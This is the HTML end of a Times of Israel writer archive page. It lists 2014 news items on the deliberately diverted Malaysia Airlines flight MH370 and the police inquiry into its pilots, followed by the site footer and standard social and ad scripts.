								<a href="https://www.timesofisrael.com/all-options-open-as-malaysia-flight-probe-goes-on/">Last message from plane shows no sign of cockpit struggle; authorities say aircraft deliberately diverted</a>
							</div>
												<div class="byline">
							By <a title="Ian mader" href="https://www.timesofisrael.com/writers/ian-mader/">Ian mader</a>						</div>
					</div>
				</div>			
								<div class="item template1 news">
											<div class="media">
														<a href="https://www.timesofisrael.com/malaysian-pm-missing-plane-was-deliberately-diverted/"><img width="400" height="250" src="https://static.timesofisrael.com/www/uploads/2014/03/Malaysia-Plane_Horo3-400x250.jpg" class="attachment-medium size-medium wp-post-image" alt="Malaysian Prime Minister Najib Razak, center, Malaysia&#039;s Minister for Transport Hishamuddin Hussein, left, and director general of the Malaysian Department of Civil Aviation, Azharuddin Abdul Rahman, speakto the media regarding the missing Malaysia Airlines jetliner MH370, Saturday, March 15, 2014. (photo credit: AP Photo/Wong Maye-E)" title="Malaysian Prime Minister Najib Razak, center, Malaysia&#039;s Minister for Transport Hishamuddin Hussein, left, and director general of the Malaysian Department of Civil Aviation, Azharuddin Abdul Rahman, speakto the media regarding the missing Malaysia Airlines jetliner MH370, Saturday, March 15, 2014. (photo credit: AP Photo/Wong Maye-E)" /></a>
						</div>
										<div class="item-content">
													<div class="date">March 15, 2014, 7:21 pm</div>
													<div class="headline">
							<a href="https://www.timesofisrael.com/malaysian-pm-missing-plane-was-deliberately-diverted/">
								Malaysian PM: Missing plane was deliberately diverted							</a>
						</div>
													<div class="underline">
								<a href="https://www.timesofisrael.com/malaysian-pm-missing-plane-was-deliberately-diverted/">As 14 countries search for airliner, police look into psychological state, family life and connections of pilot and co-pilot</a>
							</div>
												<div class="byline">
							By <a title="EILEEN NG" href="https://www.timesofisrael.com/writers/eileen-ng/">EILEEN NG</a> and <a title="Ian mader" href="https://www.timesofisrael.com/writers/ian-mader/">Ian mader</a>						</div>
					</div>
				</div>			

				<div class="item load-more">
					<a href="#" 
					data-before_date="1394904071" 
					data-taxonomy="writers" 
					data-term_id="88720" 
					data-numposts="15"
					data-post_tag="">
						Load More
					</a>
				</div>	</section>
	<aside class="cols2 block sticky-sidebar">
		<div class="sticky-sidebar-wrap">
						
		<div id="div-gpt-ad-BTF_SKY_1" class="banner b300x600">
			<script type="text/javascript">
			googletag.cmd.push(function() { googletag.display("div-gpt-ad-BTF_SKY_1"); });
			</script>
		</div>		</div>
	</aside>
</div>

					</div><!-- end main -->

					<footer class="footer">
				<div class="container">
					<div class="footer-top">
						<a class="logo" href="/"><img alt="The Times of Israel" src="https://static.timesofisrael.com/www/images/toi_logo_white.svg"></a>
					</div>
					<div class="footer-middle">
						<div>
							<ul class="main-menu-footer">
								<li><a href="/">home</a></li>
								<li><a href="https://www.timesofisrael.com/israel-and-the-region/">Israel &amp; the Region</a></li><li><a href="https://www.timesofisrael.com/jewish-times/">Jewish Times</a></li><li><a href="https://www.timesofisrael.com/israel-inside/">Israel Inside</a></li><li><a href="https://www.timesofisrael.com/ops-and-blogs/">The Blogs</a></li><li><a href="https://www.timesofisrael.com/start-up-israel/">Startup Israel</a></li>								<li><a href="/the-daily-edition/">daily edition</a></li>
							</ul>
						</div>
						<div>
							<ul class="social-footer social-small">
					       		<li><a href="/terms/">terms and conditions</a></li>
					       		<li><a href="/privacy/">privacy policy</a></li>
					       		<li><a href="/about/">about us</a></li>
					       		<li><a href="/advertise/">advertise with us</a></li>
					       		<li><a href="/contact/">contact us</a></li>
					       		<li class="facebook"><a href="https://www.facebook.com/timesofisrael" rel="external">facebook</a></li>
					       		<li class="twitter"><a href="https://twitter.com/timesofisrael" rel="external">twitter</a></li>
					       	</ul>
				       </div>
				       <div>
				       		<div class="newsletter" data-website="timesofisrael" data-from="footer">
				       			<form>
				       				<div class="text">subscribe to the daily edition</div>
				       				<input type="text" name="email" class="email-address" value="" placeholder="e-mail address">
				       				<button type="submit" class="submit"><span>submit</span></button>
				       				<div class="newsletter-error">
				       					<span>The email is either missing or invalid</span>
				       				</div>
				       			</form>
				       		</div>
				       </div>
					</div>
					<div class="footer-bottom">
						© 2018 <span>The Times of Israel,</span> all rights reserved
					</div>
				</div>

				<div class="rgbmedia" style="background-color: #fff;color: #000;font-family: Arial,helvetica,sans-serif;text-transform: uppercase;font-size: 10px;height: 60px;">
					<div class="rgbmedia-wrap" style="background-color: #fff;color: #000;font-family: Arial,helvetica,sans-serif;text-transform: uppercase;font-size: 10px;display: flex;align-items: center;justify-content: space-around;height: 60px;max-width: 455px;margin: 0 auto;width: 100%;">
						<div class="text">
							<span class="mh">Concept, design &amp; </span>development by
						</div>
						<div class="rgblogo">
							<a href="http://rgbmedia.org" rel="external" title="RGB Media"><img src="//static.timesofisrael.com/salamandra/images/footer_rgb_black.svg" style="display: block;margin-top: -3px;margin-right: 7px;" height="22"></a>
						</div>
						<div class="text">
							Powered by
						</div>
						<div class="salalogo" style="display: block;margin-bottom: 2px;">
							<a href="http://www.rgbmedia.org" rel="external" title="Salamandra"><img src="//static.timesofisrael.com/salamandra/images/footer_sala_black.svg" style="display: block;margin-top: -3px;" height="14"></a>
						</div>
					</div>
				</div>


			</footer>
				<script type='text/javascript' src='//static.timesofisrael.com/js/responsiveslides.min.js?ver=1.55'></script>
<script type='text/javascript' src='//static.timesofisrael.com/js/jquery.fitvids.js?ver=1502265084'></script>
<script type='text/javascript' src='//static.timesofisrael.com/js/global_functions.js?ver=1521704371'></script>
<script type='text/javascript' src='//static.timesofisrael.com/www/js/functions.js?ver=1512906913'></script>

		
		<!-- facebook -->
		<div id="fb-root"></div>
		<script>
		window.fbAsyncInit = function() {
		    FB.init({
		    	appId      : '123142304440875',
		      	xfbml      : true,
		      	version    : 'v2.8'
		    });
	    	FB.AppEvents.logPageView();

			
		};
		(function(d, s, id){
			var js, fjs = d.getElementsByTagName(s)[0];
			if (d.getElementById(id)) {return;}
			js = d.createElement(s); js.id = id;
			js.src = "//connect.facebook.net/en_US/sdk.js";
			fjs.parentNode.insertBefore(js, fjs);
		}(document, 'script', 'facebook-jssdk'));
		</script>
		<!-- Twitter -->
		<script>
		window.twttr = (function(d, s, id) {
		  var js, fjs = d.getElementsByTagName(s)[0],
		    t = window.twttr || {};
		  if (d.getElementById(id)) return t;
		  js = d.createElement(s);
		  js.id = id;
		  js.src = "https://platform.twitter.com/widgets.js";
		  fjs.parentNode.insertBefore(js, fjs);

		  t._e = [];
		  t.ready = function(f) {
		    t._e.push(f);
		  };

		  return t;
		}(document, "script", "twitter-wjs"));
		</script>

		
		<!-- interstitial ad -->
				<script src='https://www.googletagservices.com/tag/js/gpt.js'>
  		googletag.pubads().definePassback('/264857099/TOI_EN/Special/Desktop_Interstitial', [1, 1]).setTargeting('TOI_articleID', []).display();
		</script>
				<!-- /end interstitial ad -->

	</body>
</html>